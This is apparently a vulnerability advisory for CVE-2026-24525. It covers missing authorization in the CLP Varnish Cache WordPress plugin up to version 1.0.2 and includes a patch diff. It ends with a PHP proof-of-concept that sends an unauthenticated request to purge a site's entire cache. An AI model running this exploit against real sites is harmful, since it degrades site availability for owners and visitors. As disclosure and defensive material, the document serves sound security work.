Atomic Edge analysis of CVE-2026-24525:
The CLP Varnish Cache WordPress plugin, versions up to and including 1.0.2, contains a missing authorization vulnerability. This flaw allows unauthenticated attackers to trigger a cache purge operation, impacting site availability and performance. The vulnerability has a CVSS score of 5.3, indicating medium severity.
The root cause is the absence of capability and nonce checks in the `check_entire_cache_purge` function within the `class.varnish-cache-admin.php` file. The function, defined at line 19, executes when the `$_GET[‘clp-varnish-cache’]` parameter equals ‘purge-entire-cache’. The original code performed no verification of the requesting user’s permissions or the presence of a valid security nonce. This omission violates WordPress security standards for privileged actions.
Exploitation is straightforward. An attacker sends a simple HTTP GET request to any page on the WordPress site where the plugin is active. The request must include the query parameter `?clp-varnish-cache=purge-entire-cache`. No authentication, cookies, or nonce tokens are required. The request triggers the `purge_host` method, clearing the Varnish cache for the site’s host.
The patch, applied in version 1.0.3, adds two critical security checks to the `check_entire_cache_purge` function. First, it verifies the current user has the `manage_options` capability, which is typically exclusive to administrators. Second, it checks for the existence and validity of a `_wpnonce` parameter using `wp_verify_nonce` with the action ‘purge-entire-cache’. If either check fails, the function returns early without performing the purge. This ensures the action is both authorized and intended.
Successful exploitation allows any unauthenticated user to purge the entire Varnish cache for the affected website. This can cause a denial-of-service condition by eliminating cached content, forcing all subsequent requests to be processed dynamically by the WordPress backend. This increases server load, slows page load times for all users, and can degrade site performance or availability, especially under high traffic.
--- a/clp-varnish-cache/class.varnish-cache-admin.php
+++ b/clp-varnish-cache/class.varnish-cache-admin.php
@@ -19,6 +19,12 @@
private function check_entire_cache_purge() {
if (true === isset($_GET['clp-varnish-cache']) && 'purge-entire-cache' == sanitize_text_field($_GET['clp-varnish-cache'])) {
+ if (false === current_user_can('manage_options')) {
+ return;
+ }
+ if (false === isset($_GET['_wpnonce']) || false === wp_verify_nonce(sanitize_text_field($_GET['_wpnonce']), 'purge-entire-cache')) {
+ return;
+ }
$host = (true === isset($_SERVER['HTTP_HOST']) && false === empty(sanitize_text_field($_SERVER['HTTP_HOST'])) ? sanitize_text_field($_SERVER['HTTP_HOST']) : '');
if (false === empty($host)) {
$this->clp_varnish_cache_manager->purge_host($host);
@@ -144,4 +150,4 @@
}
return $svg;
}
-}
No newline at end of file
+}
--- a/clp-varnish-cache/clp-varnish-cache.php
+++ b/clp-varnish-cache/clp-varnish-cache.php
@@ -2,7 +2,7 @@
/*
* Plugin Name: CLP Varnish Cache
* Description: Varnish Cache Plugin by cloudpanel.io
- * Version: 1.0.2
+ * Version: 1.0.3
* Text Domain: clp-varnish-cache
* Domain Path: /languages
* Requires at least: 6.0
@@ -18,7 +18,7 @@
exit;
}
-define('CLP_VARNISH_VERSION', '1.0.2');
+define('CLP_VARNISH_VERSION', '1.0.3');
$is_admin = is_admin();
if (true === $is_admin) {
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24525 - CLP Varnish Cache <= 1.0.2 - Missing Authorization
<?php
// Configuration: Set the target WordPress site URL.
$target_url = 'https://example.com';
// Construct the exploit URL. The vulnerability triggers on any page.
// The 'clp-varnish-cache' GET parameter with value 'purge-entire-cache' is required.
$exploit_url = $target_url . '/?clp-varnish-cache=purge-entire-cache';
// Initialize cURL session.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Follow redirects if any.
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Verbose output can help with debugging.
curl_setopt($ch, CURLOPT_VERBOSE, false);
// Execute the request. No authentication headers or cookies are needed.
echo "[*] Sending unauthorized purge request to: $exploit_urln";
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check the response.
if (curl_errno($ch)) {
echo "[!] cURL Error: " . curl_error($ch) . "n";
} else {
echo "[$] HTTP Response Code: $http_coden";
// A successful request may not return a specific message, but a 200 status code is typical.
if ($http_code == 200) {
echo "[+] Cache purge request likely executed successfully (plugin active and vulnerable).n";
} else {
echo "[-] Unexpected response. The plugin may be patched, inactive, or the site is configured differently.n";
}
}
curl_close($ch);
?>
